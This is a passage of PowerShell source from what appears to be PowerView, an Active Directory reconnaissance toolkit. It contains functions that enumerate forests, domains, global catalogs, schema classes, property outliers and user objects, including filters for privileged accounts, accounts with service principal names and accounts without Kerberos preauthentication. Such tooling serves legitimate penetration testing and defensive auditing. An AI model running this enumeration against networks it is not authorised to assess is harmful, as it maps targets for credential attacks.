   4237             # UAC specification for domain controllers
   4238             $Arguments['LDAPFilter'] = '(userAccountControl:1.2.840.113556.1.4.803:=8192)'
   4239 
   4240             Get-DomainComputer @Arguments
   4241         }
   4242         else {
   4243             $FoundDomain = Get-Domain @Arguments
   4244             if ($FoundDomain) {
   4245                 $FoundDomain.DomainControllers
   4246             }
   4247         }
   4248     }
   4249 }
   4250 
   4251 
   4252 function Get-Forest {
   4253 <#
   4254 .SYNOPSIS
   4255 
   4256 Returns the forest object for the current (or specified) forest.
   4257 
   4258 Author: Will Schroeder (@harmj0y)  
   4259 License: BSD 3-Clause  
   4260 Required Dependencies: ConvertTo-SID  
   4261 
   4262 .DESCRIPTION
   4263 
   4264 Returns a System.DirectoryServices.ActiveDirectory.Forest object for the current
   4265 forest or the forest specified with -Forest X.
   4266 
   4267 .PARAMETER Forest
   4268 
   4269 The forest name to query for, defaults to the current forest.
   4270 
   4271 .PARAMETER Credential
   4272 
   4273 A [Management.Automation.PSCredential] object of alternate credentials
   4274 for connection to the target forest.
   4275 
   4276 .EXAMPLE
   4277 
   4278 Get-Forest -Forest external.domain
   4279 
   4280 .EXAMPLE
   4281 
   4282 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
   4283 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
   4284 Get-Forest -Credential $Cred
   4285 
   4286 .OUTPUTS
   4287 
   4288 System.Management.Automation.PSCustomObject
   4289 
   4290 Outputs a PSObject containing System.DirectoryServices.ActiveDirectory.Forest in addition
   4291 to the forest root domain SID.
   4292 #>
   4293 
   4294     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
   4295     [OutputType('System.Management.Automation.PSCustomObject')]
   4296     [CmdletBinding()]
   4297     Param(
   4298         [Parameter(Position = 0, ValueFromPipeline = $True)]
   4299         [ValidateNotNullOrEmpty()]
   4300         [String]
   4301         $Forest,
   4302 
   4303         [Management.Automation.PSCredential]
   4304         [Management.Automation.CredentialAttribute()]
   4305         $Credential = [Management.Automation.PSCredential]::Empty
   4306     )
   4307 
   4308     PROCESS {
   4309         if ($PSBoundParameters['Credential']) {
   4310 
   4311             Write-Verbose "[Get-Forest] Using alternate credentials for Get-Forest"
   4312 
   4313             if ($PSBoundParameters['Forest']) {
   4314                 $TargetForest = $Forest
   4315             }
   4316             else {
   4317                 # if no domain is supplied, extract the logon domain from the PSCredential passed
   4318                 $TargetForest = $Credential.GetNetworkCredential().Domain
   4319                 Write-Verbose "[Get-Forest] Extracted domain '$Forest' from -Credential"
   4320             }
   4321 
   4322             $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $TargetForest, $Credential.UserName, $Credential.GetNetworkCredential().Password)
   4323 
   4324             try {
   4325                 $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext)
   4326             }
   4327             catch {
   4328                 Write-Verbose "[Get-Forest] The specified forest '$TargetForest' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid: $_"
   4329                 $Null
   4330             }
   4331         }
   4332         elseif ($PSBoundParameters['Forest']) {
   4333             $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Forest)
   4334             try {
   4335                 $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext)
   4336             }
   4337             catch {
   4338                 Write-Verbose "[Get-Forest] The specified forest '$Forest' does not exist, could not be contacted, or there isn't an existing trust: $_"
   4339                 return $Null
   4340             }
   4341         }
   4342         else {
   4343             # otherwise use the current forest
   4344             $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
   4345         }
   4346 
   4347         if ($ForestObject) {
   4348             # get the SID of the forest root
   4349             if ($PSBoundParameters['Credential']) {
   4350                 $ForestSid = (Get-DomainUser -Identity "krbtgt" -Domain $ForestObject.RootDomain.Name -Credential $Credential).objectsid
   4351             }
   4352             else {
   4353                 $ForestSid = (Get-DomainUser -Identity "krbtgt" -Domain $ForestObject.RootDomain.Name).objectsid
   4354             }
   4355 
   4356             $Parts = $ForestSid -Split '-'
   4357             $ForestSid = $Parts[0..$($Parts.length-2)] -join '-'
   4358             $ForestObject | Add-Member NoteProperty 'RootDomainSid' $ForestSid
   4359             $ForestObject
   4360         }
   4361     }
   4362 }
   4363 
   4364 
   4365 function Get-ForestDomain {
   4366 <#
   4367 .SYNOPSIS
   4368 
   4369 Return all domains for the current (or specified) forest.
   4370 
   4371 Author: Will Schroeder (@harmj0y)  
   4372 License: BSD 3-Clause  
   4373 Required Dependencies: Get-Forest  
   4374 
   4375 .DESCRIPTION
   4376 
   4377 Returns all domains for the current forest or the forest specified
   4378 by -Forest X.
   4379 
   4380 .PARAMETER Forest
   4381 
   4382 Specifies the forest name to query for domains.
   4383 
   4384 .PARAMETER Credential
   4385 
   4386 A [Management.Automation.PSCredential] object of alternate credentials
   4387 for connection to the target forest.
   4388 
   4389 .EXAMPLE
   4390 
   4391 Get-ForestDomain
   4392 
   4393 .EXAMPLE
   4394 
   4395 Get-ForestDomain -Forest external.local
   4396 
   4397 .EXAMPLE
   4398 
   4399 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
   4400 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
   4401 Get-ForestDomain -Credential $Cred
   4402 
   4403 .OUTPUTS
   4404 
   4405 System.DirectoryServices.ActiveDirectory.Domain
   4406 #>
   4407 
   4408     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
   4409     [OutputType('System.DirectoryServices.ActiveDirectory.Domain')]
   4410     [CmdletBinding()]
   4411     Param(
   4412         [Parameter(Position = 0, ValueFromPipeline = $True)]
   4413         [ValidateNotNullOrEmpty()]
   4414         [String]
   4415         $Forest,
   4416 
   4417         [Management.Automation.PSCredential]
   4418         [Management.Automation.CredentialAttribute()]
   4419         $Credential = [Management.Automation.PSCredential]::Empty
   4420     )
   4421 
   4422     PROCESS {
   4423         $Arguments = @{}
   4424         if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest }
   4425         if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential }
   4426 
   4427         $ForestObject = Get-Forest @Arguments
   4428         if ($ForestObject) {
   4429             $ForestObject.Domains
   4430         }
   4431     }
   4432 }
   4433 
   4434 
   4435 function Get-ForestGlobalCatalog {
   4436 <#
   4437 .SYNOPSIS
   4438 
   4439 Return all global catalogs for the current (or specified) forest.
   4440 
   4441 Author: Will Schroeder (@harmj0y)  
   4442 License: BSD 3-Clause  
   4443 Required Dependencies: Get-Forest  
   4444 
   4445 .DESCRIPTION
   4446 
   4447 Returns all global catalogs for the current forest or the forest specified
   4448 by -Forest X by using Get-Forest to retrieve the specified forest object
   4449 and the .FindAllGlobalCatalogs() to enumerate the global catalogs.
   4450 
   4451 .PARAMETER Forest
   4452 
   4453 Specifies the forest name to query for global catalogs.
   4454 
   4455 .PARAMETER Credential
   4456 
   4457 A [Management.Automation.PSCredential] object of alternate credentials
   4458 for connection to the target domain.
   4459 
   4460 .EXAMPLE
   4461 
   4462 Get-ForestGlobalCatalog
   4463 
   4464 .EXAMPLE
   4465 
   4466 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
   4467 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
   4468 Get-ForestGlobalCatalog -Credential $Cred
   4469 
   4470 .OUTPUTS
   4471 
   4472 System.DirectoryServices.ActiveDirectory.GlobalCatalog
   4473 #>
   4474 
   4475     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
   4476     [OutputType('System.DirectoryServices.ActiveDirectory.GlobalCatalog')]
   4477     [CmdletBinding()]
   4478     Param(
   4479         [Parameter(Position = 0, ValueFromPipeline = $True)]
   4480         [ValidateNotNullOrEmpty()]
   4481         [String]
   4482         $Forest,
   4483 
   4484         [Management.Automation.PSCredential]
   4485         [Management.Automation.CredentialAttribute()]
   4486         $Credential = [Management.Automation.PSCredential]::Empty
   4487     )
   4488 
   4489     PROCESS {
   4490         $Arguments = @{}
   4491         if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest }
   4492         if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential }
   4493 
   4494         $ForestObject = Get-Forest @Arguments
   4495 
   4496         if ($ForestObject) {
   4497             $ForestObject.FindAllGlobalCatalogs()
   4498         }
   4499     }
   4500 }
   4501 
   4502 
   4503 function Get-ForestSchemaClass {
   4504 <#
   4505 .SYNOPSIS
   4506 
   4507 Helper that returns the Active Directory schema classes for the current
   4508 (or specified) forest or returns just the schema class specified by
   4509 -ClassName X.
   4510 
   4511 Author: Will Schroeder (@harmj0y)  
   4512 License: BSD 3-Clause  
   4513 Required Dependencies: Get-Forest  
   4514 
   4515 .DESCRIPTION
   4516 
   4517 Uses Get-Forest to retrieve the current (or specified) forest. By default,
   4518 the .FindAllClasses() method is executed, returning a collection of
   4519 [DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass] results.
   4520 If "-FindClass X" is specified, the [DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass]
   4521 result for the specified class name is returned.
   4522 
   4523 .PARAMETER ClassName
   4524 
   4525 Specifies a ActiveDirectorySchemaClass name in the found schema to return.
   4526 
   4527 .PARAMETER Forest
   4528 
   4529 The forest to query for the schema, defaults to the current forest.
   4530 
   4531 .PARAMETER Credential
   4532 
   4533 A [Management.Automation.PSCredential] object of alternate credentials
   4534 for connection to the target domain.
   4535 
   4536 .EXAMPLE
   4537 
   4538 Get-ForestSchemaClass
   4539 
   4540 Returns all domain schema classes for the current forest.
   4541 
   4542 .EXAMPLE
   4543 
   4544 Get-ForestSchemaClass -Forest dev.testlab.local
   4545 
   4546 Returns all domain schema classes for the external.local forest.
   4547 
   4548 .EXAMPLE
   4549 
   4550 Get-ForestSchemaClass -ClassName user -Forest external.local
   4551 
   4552 Returns the user schema class for the external.local domain.
   4553 
   4554 .EXAMPLE
   4555 
   4556 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
   4557 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
   4558 Get-ForestSchemaClass -ClassName user -Forest external.local -Credential $Cred
   4559 
   4560 Returns the user schema class for the external.local domain using
   4561 the specified alternate credentials.
   4562 
   4563 .OUTPUTS
   4564 
   4565 [DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass]
   4566 
   4567 An ActiveDirectorySchemaClass returned from the found schema.
   4568 #>
   4569 
   4570     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
   4571     [OutputType([System.DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass])]
   4572     [CmdletBinding()]
   4573     Param(
   4574         [Parameter(Position = 0, ValueFromPipeline = $True)]
   4575         [Alias('Class')]
   4576         [ValidateNotNullOrEmpty()]
   4577         [String[]]
   4578         $ClassName,
   4579 
   4580         [Alias('Name')]
   4581         [ValidateNotNullOrEmpty()]
   4582         [String]
   4583         $Forest,
   4584 
   4585         [Management.Automation.PSCredential]
   4586         [Management.Automation.CredentialAttribute()]
   4587         $Credential = [Management.Automation.PSCredential]::Empty
   4588     )
   4589 
   4590     PROCESS {
   4591         $Arguments = @{}
   4592         if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest }
   4593         if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential }
   4594 
   4595         $ForestObject = Get-Forest @Arguments
   4596 
   4597         if ($ForestObject) {
   4598             if ($PSBoundParameters['ClassName']) {
   4599                 ForEach ($TargetClass in $ClassName) {
   4600                     $ForestObject.Schema.FindClass($TargetClass)
   4601                 }
   4602             }
   4603             else {
   4604                 $ForestObject.Schema.FindAllClasses()
   4605             }
   4606         }
   4607     }
   4608 }
   4609 
   4610 
   4611 function Find-DomainObjectPropertyOutlier {
   4612 <#
   4613 .SYNOPSIS
   4614 
   4615 Finds user/group/computer objects in AD that have 'outlier' properties set.
   4616 
   4617 Author: Will Schroeder (@harmj0y), Matthew Graeber (@mattifestation)  
   4618 License: BSD 3-Clause  
   4619 Required Dependencies: Get-Domain, Get-DomainUser, Get-DomainGroup, Get-DomainComputer
   4620 
   4621 .DESCRIPTION
   4622 
   4623 A 'reference' set of property names is calculated, either from a standard set preserved
   4624 for user/group/computers, or from the array of names passed to -ReferencePropertySet, or
   4625 from the property names of the passed -ReferenceObject. Every user/group/computer object
   4626 (depending on determined class) are enumerated, and for each object, if the object has a
   4627 'non-standard' property set (meaning a property not held by the reference set), the object's
   4628 samAccountName, property name, and property value are output to the pipeline.
   4629 
   4630 .PARAMETER ClassName
   4631 
   4632 Specifies the AD object class to find property outliers for, 'user', 'group', or 'computer'.
   4633 If -ReferenceObject is specified, this will be automatically extracted, if possible.
   4634 
   4635 .PARAMETER ReferencePropertySet
   4636 
   4637 Specifies an array of property names to diff against the class schema.
   4638 
   4639 .PARAMETER ReferenceObject
   4640 
   4641 Specicifes the PowerView user/group/computer object to extract property names
   4642 from to use as the reference set.
   4643 
   4644 .PARAMETER Domain
   4645 
   4646 Specifies the domain to use for the query, defaults to the current domain.
   4647 
   4648 .PARAMETER LDAPFilter
   4649 
   4650 Specifies an LDAP query string that is used to filter Active Directory objects.
   4651 
   4652 .PARAMETER SearchBase
   4653 
   4654 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
   4655 Useful for OU queries.
   4656 
   4657 .PARAMETER Server
   4658 
   4659 Specifies an Active Directory server (domain controller) to bind to.
   4660 
   4661 .PARAMETER SearchScope
   4662 
   4663 Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
   4664 
   4665 .PARAMETER ResultPageSize
   4666 
   4667 Specifies the PageSize to set for the LDAP searcher object.
   4668 
   4669 .PARAMETER ServerTimeLimit
   4670 
   4671 Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
   4672 
   4673 .PARAMETER Tombstone
   4674 
   4675 Switch. Specifies that the searcher should also return deleted/tombstoned objects.
   4676 
   4677 .PARAMETER Credential
   4678 
   4679 A [Management.Automation.PSCredential] object of alternate credentials
   4680 for connection to the target domain.
   4681 
   4682 .EXAMPLE
   4683 
   4684 Find-DomainObjectPropertyOutlier -ClassName 'User'
   4685 
   4686 Enumerates users in the current domain with 'outlier' properties filled in.
   4687 
   4688 .EXAMPLE
   4689 
   4690 Find-DomainObjectPropertyOutlier -ClassName 'Group' -Domain external.local
   4691 
   4692 Enumerates groups in the external.local forest/domain with 'outlier' properties filled in.
   4693 
   4694 .EXAMPLE
   4695 
   4696 Get-DomainComputer -FindOne | Find-DomainObjectPropertyOutlier
   4697 
   4698 Enumerates computers in the current domain with 'outlier' properties filled in.
   4699 
   4700 .OUTPUTS
   4701 
   4702 PowerView.PropertyOutlier
   4703 
   4704 Custom PSObject with translated object property outliers.
   4705 #>
   4706 
   4707     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
   4708     [OutputType('PowerView.PropertyOutlier')]
   4709     [CmdletBinding(DefaultParameterSetName = 'ClassName')]
   4710     Param(
   4711         [Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ClassName')]
   4712         [Alias('Class')]
   4713         [ValidateSet('User', 'Group', 'Computer')]
   4714         [String]
   4715         $ClassName,
   4716 
   4717         [ValidateNotNullOrEmpty()]
   4718         [String[]]
   4719         $ReferencePropertySet,
   4720 
   4721         [Parameter(ValueFromPipeline = $True, Mandatory = $True, ParameterSetName = 'ReferenceObject')]
   4722         [PSCustomObject]
   4723         $ReferenceObject,
   4724 
   4725         [ValidateNotNullOrEmpty()]
   4726         [String]
   4727         $Domain,
   4728 
   4729         [ValidateNotNullOrEmpty()]
   4730         [Alias('Filter')]
   4731         [String]
   4732         $LDAPFilter,
   4733 
   4734         [ValidateNotNullOrEmpty()]
   4735         [Alias('ADSPath')]
   4736         [String]
   4737         $SearchBase,
   4738 
   4739         [ValidateNotNullOrEmpty()]
   4740         [Alias('DomainController')]
   4741         [String]
   4742         $Server,
   4743 
   4744         [ValidateSet('Base', 'OneLevel', 'Subtree')]
   4745         [String]
   4746         $SearchScope = 'Subtree',
   4747 
   4748         [ValidateRange(1, 10000)]
   4749         [Int]
   4750         $ResultPageSize = 200,
   4751 
   4752         [ValidateRange(1, 10000)]
   4753         [Int]
   4754         $ServerTimeLimit,
   4755 
   4756         [Switch]
   4757         $Tombstone,
   4758 
   4759         [Management.Automation.PSCredential]
   4760         [Management.Automation.CredentialAttribute()]
   4761         $Credential = [Management.Automation.PSCredential]::Empty
   4762     )
   4763 
   4764     BEGIN {
   4765         $UserReferencePropertySet = @('admincount','accountexpires','badpasswordtime','badpwdcount','cn','codepage','countrycode','description', 'displayname','distinguishedname','dscorepropagationdata','givenname','instancetype','iscriticalsystemobject','lastlogoff','lastlogon','lastlogontimestamp','lockouttime','logoncount','memberof','msds-supportedencryptiontypes','name','objectcategory','objectclass','objectguid','objectsid','primarygroupid','pwdlastset','samaccountname','samaccounttype','sn','useraccountcontrol','userprincipalname','usnchanged','usncreated','whenchanged','whencreated')
   4766 
   4767         $GroupReferencePropertySet = @('admincount','cn','description','distinguishedname','dscorepropagationdata','grouptype','instancetype','iscriticalsystemobject','member','memberof','name','objectcategory','objectclass','objectguid','objectsid','samaccountname','samaccounttype','systemflags','usnchanged','usncreated','whenchanged','whencreated')
   4768 
   4769         $ComputerReferencePropertySet = @('accountexpires','badpasswordtime','badpwdcount','cn','codepage','countrycode','distinguishedname','dnshostname','dscorepropagationdata','instancetype','iscriticalsystemobject','lastlogoff','lastlogon','lastlogontimestamp','localpolicyflags','logoncount','msds-supportedencryptiontypes','name','objectcategory','objectclass','objectguid','objectsid','operatingsystem','operatingsystemservicepack','operatingsystemversion','primarygroupid','pwdlastset','samaccountname','samaccounttype','serviceprincipalname','useraccountcontrol','usnchanged','usncreated','whenchanged','whencreated')
   4770 
   4771         $SearcherArguments = @{}
   4772         if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
   4773         if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter }
   4774         if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
   4775         if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
   4776         if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
   4777         if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
   4778         if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
   4779         if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
   4780         if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
   4781 
   4782         # Domain / Credential
   4783         if ($PSBoundParameters['Domain']) {
   4784             if ($PSBoundParameters['Credential']) {
   4785                 $TargetForest = Get-Domain -Domain $Domain | Select-Object -ExpandProperty Forest | Select-Object -ExpandProperty Name
   4786             }
   4787             else {
   4788                 $TargetForest = Get-Domain -Domain $Domain -Credential $Credential | Select-Object -ExpandProperty Forest | Select-Object -ExpandProperty Name
   4789             }
   4790             Write-Verbose "[Find-DomainObjectPropertyOutlier] Enumerated forest '$TargetForest' for target domain '$Domain'"
   4791         }
   4792 
   4793         $SchemaArguments = @{}
   4794         if ($PSBoundParameters['Credential']) { $SchemaArguments['Credential'] = $Credential }
   4795         if ($TargetForest) {
   4796             $SchemaArguments['Forest'] = $TargetForest
   4797         }
   4798     }
   4799 
   4800     PROCESS {
   4801 
   4802         if ($PSBoundParameters['ReferencePropertySet']) {
   4803             Write-Verbose "[Find-DomainObjectPropertyOutlier] Using specified -ReferencePropertySet"
   4804             $ReferenceObjectProperties = $ReferencePropertySet
   4805         }
   4806         elseif ($PSBoundParameters['ReferenceObject']) {
   4807             Write-Verbose "[Find-DomainObjectPropertyOutlier] Extracting property names from -ReferenceObject to use as the reference property set"
   4808             $ReferenceObjectProperties = Get-Member -InputObject $ReferenceObject -MemberType NoteProperty | Select-Object -Expand Name
   4809             $ReferenceObjectClass = $ReferenceObject.objectclass | Select-Object -Last 1
   4810             Write-Verbose "[Find-DomainObjectPropertyOutlier] Calculated ReferenceObjectClass : $ReferenceObjectClass"
   4811         }
   4812         else {
   4813             Write-Verbose "[Find-DomainObjectPropertyOutlier] Using the default reference property set for the object class '$ClassName'"
   4814         }
   4815 
   4816         if (($ClassName -eq 'User') -or ($ReferenceObjectClass -eq 'User')) {
   4817             $Objects = Get-DomainUser @SearcherArguments
   4818             if (-not $ReferenceObjectProperties) {
   4819                 $ReferenceObjectProperties = $UserReferencePropertySet
   4820             }
   4821         }
   4822         elseif (($ClassName -eq 'Group') -or ($ReferenceObjectClass -eq 'Group')) {
   4823             $Objects = Get-DomainGroup @SearcherArguments
   4824             if (-not $ReferenceObjectProperties) {
   4825                 $ReferenceObjectProperties = $GroupReferencePropertySet
   4826             }
   4827         }
   4828         elseif (($ClassName -eq 'Computer') -or ($ReferenceObjectClass -eq 'Computer')) {
   4829             $Objects = Get-DomainComputer @SearcherArguments
   4830             if (-not $ReferenceObjectProperties) {
   4831                 $ReferenceObjectProperties = $ComputerReferencePropertySet
   4832             }
   4833         }
   4834         else {
   4835             throw "[Find-DomainObjectPropertyOutlier] Invalid class: $ClassName"
   4836         }
   4837 
   4838         ForEach ($Object in $Objects) {
   4839             $ObjectProperties = Get-Member -InputObject $Object -MemberType NoteProperty | Select-Object -Expand Name
   4840             ForEach($ObjectProperty in $ObjectProperties) {
   4841                 if ($ReferenceObjectProperties -NotContains $ObjectProperty) {
   4842                     $Out = New-Object PSObject
   4843                     $Out | Add-Member Noteproperty 'SamAccountName' $Object.SamAccountName
   4844                     $Out | Add-Member Noteproperty 'Property' $ObjectProperty
   4845                     $Out | Add-Member Noteproperty 'Value' $Object.$ObjectProperty
   4846                     $Out.PSObject.TypeNames.Insert(0, 'PowerView.PropertyOutlier')
   4847                     $Out
   4848                 }
   4849             }
   4850         }
   4851     }
   4852 }
   4853 
   4854 
   4855 ########################################################
   4856 #
   4857 # "net *" replacements and other fun start below
   4858 #
   4859 ########################################################
   4860 
   4861 function Get-DomainUser {
   4862 <#
   4863 .SYNOPSIS
   4864 
   4865 Return all users or specific user objects in AD.
   4866 
   4867 Author: Will Schroeder (@harmj0y)  
   4868 License: BSD 3-Clause  
   4869 Required Dependencies: Get-DomainSearcher, Convert-ADName, Convert-LDAPProperty  
   4870 
   4871 .DESCRIPTION
   4872 
   4873 Builds a directory searcher object using Get-DomainSearcher, builds a custom
   4874 LDAP filter based on targeting/filter parameters, and searches for all objects
   4875 matching the criteria. To only return specific properties, use
   4876 "-Properties samaccountname,usnchanged,...". By default, all user objects for
   4877 the current domain are returned.
   4878 
   4879 .PARAMETER Identity
   4880 
   4881 A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
   4882 SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
   4883 Wildcards accepted. Also accepts DOMAIN\user format.
   4884 
   4885 .PARAMETER SPN
   4886 
   4887 Switch. Only return user objects with non-null service principal names.
   4888 
   4889 .PARAMETER UACFilter
   4890 
   4891 Dynamic parameter that accepts one or more values from $UACEnum, including
   4892 "NOT_X" negation forms. To see all possible values, run '0|ConvertFrom-UACValue -ShowAll'.
   4893 
   4894 .PARAMETER AdminCount
   4895 
   4896 Switch. Return users with '(adminCount=1)' (meaning are/were privileged).
   4897 
   4898 .PARAMETER AllowDelegation
   4899 
   4900 Switch. Return user accounts that are not marked as 'sensitive and not allowed for delegation'
   4901 
   4902 .PARAMETER DisallowDelegation
   4903 
   4904 Switch. Return user accounts that are marked as 'sensitive and not allowed for delegation'
   4905 
   4906 .PARAMETER TrustedToAuth
   4907 
   4908 Switch. Return computer objects that are trusted to authenticate for other principals.
   4909 
   4910 .PARAMETER PreauthNotRequired
   4911 
   4912 Switch. Return user accounts with "Do not require Kerberos preauthentication" set.
   4913 
   4914 .PARAMETER Domain
   4915 
   4916 Specifies the domain to use for the query, defaults to the current domain.
   4917 
   4918 .PARAMETER LDAPFilter
   4919 
   4920 Specifies an LDAP query string that is used to filter Active Directory objects.
   4921 
   4922 .PARAMETER Properties
   4923 
   4924 Specifies the properties of the output object to retrieve from the server.
   4925 
   4926 .PARAMETER SearchBase
   4927 
   4928 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
   4929 Useful for OU queries.
   4930 
   4931 .PARAMETER Server
   4932 
   4933 Specifies an Active Directory server (domain controller) to bind to.
   4934 
   4935 .PARAMETER SearchScope
   4936 
   4937 Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
   4938 
   4939 .PARAMETER ResultPageSize
   4940 
   4941 Specifies the PageSize to set for the LDAP searcher object.
   4942 
   4943 .PARAMETER ServerTimeLimit
   4944 
   4945 Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
   4946 
   4947 .PARAMETER SecurityMasks
   4948 
   4949 Specifies an option for examining security information of a directory object.
   4950 One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
   4951 
   4952 .PARAMETER Tombstone
   4953 
   4954 Switch. Specifies that the searcher should also return deleted/tombstoned objects.
   4955 
   4956 .PARAMETER FindOne
   4957 
   4958 Only return one result object.
   4959 
   4960 .PARAMETER Credential
   4961 
   4962 A [Management.Automation.PSCredential] object of alternate credentials
   4963 for connection to the target domain.
   4964 
   4965 .PARAMETER Raw
   4966 
   4967 Switch. Return raw results instead of translating the fields into a custom PSObject.
   4968 
   4969 .EXAMPLE
   4970 
   4971 Get-DomainUser -Domain testlab.local
   4972 
   4973 Return all users for the testlab.local domain
   4974 
   4975 .EXAMPLE
   4976 
   4977 Get-DomainUser "S-1-5-21-890171859-3433809279-3366196753-1108","administrator"
   4978 
   4979 Return the user with the given SID, as well as Administrator.
   4980 
   4981 .EXAMPLE
   4982 
   4983 'S-1-5-21-890171859-3433809279-3366196753-1114', 'CN=dfm,CN=Users,DC=testlab,DC=local','4c435dd7-dc58-4b14-9a5e-1fdb0e80d201','administrator' | Get-DomainUser -Properties samaccountname,lastlogoff
   4984 
   4985 lastlogoff                                   samaccountname
   4986 ----------                                   --------------
   4987 12/31/1600 4:00:00 PM                        dfm.a
   4988 12/31/1600 4:00:00 PM                        dfm
   4989 12/31/1600 4:00:00 PM                        harmj0y
   4990 12/31/1600 4:00:00 PM                        Administrator
   4991 
   4992 .EXAMPLE
   4993 
   4994 Get-DomainUser -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" -AdminCount -AllowDelegation
   4995 
   4996 Search the specified OU for privileged user (AdminCount = 1) that allow delegation
   4997 
   4998 .EXAMPLE
   4999 
   5000 Get-DomainUser -LDAPFilter '(!primarygroupid=513)' -Properties samaccountname,lastlogon
   5001 
   5002 Search for users with a primary group ID other than 513 ('domain users') and only return samaccountname and lastlogon
   5003 
   5004 .EXAMPLE
   5005 
   5006 Get-DomainUser -UACFilter DONT_REQ_PREAUTH,NOT_PASSWORD_EXPIRED
   5007 
   5008 Find users who doesn't require Kerberos preauthentication and DON'T have an expired password.
   5009 
   5010 .EXAMPLE
   5011 
   5012 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
   5013 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
   5014 Get-DomainUser -Credential $Cred
   5015 
   5016 .EXAMPLE
   5017 
   5018 Get-Domain | Select-Object -Expand name
   5019 testlab.local
   5020 
   5021 Get-DomainUser dev\user1 -Verbose -Properties distinguishedname
   5022 VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
   5023 VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local
   5024 VERBOSE: [Get-DomainUser] filter string: (&(samAccountType=805306368)(|(samAccountName=user1)))
   5025 
   5026 distinguishedname
   5027 -----------------
   5028 CN=user1,CN=Users,DC=dev,DC=testlab,DC=local
   5029 
   5030 .INPUTS
   5031 
   5032 String
   5033 
   5034 .OUTPUTS
   5035 
   5036 PowerView.User
   5037 
   5038 Custom PSObject with translated user property fields.
   5039 
   5040 PowerView.User.Raw
   5041 
   5042 The raw DirectoryServices.SearchResult object, if -Raw is enabled.
   5043 #>
   5044 
   5045     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
   5046     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
   5047     [OutputType('PowerView.User')]
   5048     [OutputType('PowerView.User.Raw')]
   5049     [CmdletBinding(DefaultParameterSetName = 'AllowDelegation')]
   5050     Param(
   5051         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
   5052         [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
   5053         [String[]]
   5054         $Identity,
   5055 
   5056         [Switch]
   5057         $SPN,
   5058 
   5059         [Switch]
   5060         $AdminCount,
   5061 
   5062         [Parameter(ParameterSetName = 'AllowDelegation')]
   5063         [Switch]
   5064         $AllowDelegation,
   5065 
   5066         [Parameter(ParameterSetName = 'DisallowDelegation')]
   5067         [Switch]
   5068         $DisallowDelegation,
   5069 
   5070         [Switch]
   5071         $TrustedToAuth,
   5072 
